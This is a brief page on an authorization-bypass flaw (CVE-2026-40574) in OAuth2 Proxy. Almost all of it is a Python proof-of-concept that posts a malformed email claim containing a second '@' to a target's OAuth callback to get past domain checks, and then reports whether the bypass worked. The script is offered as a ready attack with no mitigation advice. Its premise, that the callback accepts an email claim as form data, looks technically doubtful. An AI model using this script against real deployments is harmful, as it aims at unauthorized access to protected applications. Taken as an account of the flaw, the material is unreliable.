CVE-2026-40574 OAuth2 Proxy授权绕过漏洞

# Conceptual Proof of Concept for CVE-2026-40574 # This demonstrates how a malformed email claim can bypass domain validation. import requests # Target OAuth2 Proxy callback URL target_url = "https://target-app.example.com/oauth2/callback" # The target domain configured in OAuth2 Proxy is "company.com" # Attacker constructs a malicious email claim with an extra '@' symbol # If the validation logic only checks the suffix or splits incorrectly, # "[email protected]@company.com" might match "company.com" malicious_payload = { "email": "[email protected]@company.com", "user": "attacker" } # Send the malicious request to the proxy response = requests.post(target_url, data=malicious_payload) # Check if authentication was bypassed if response.status_code == 200 and "Welcome" in response.text: print("[+] Authorization bypass successful!") else: print("[-] Attack failed or patch applied.")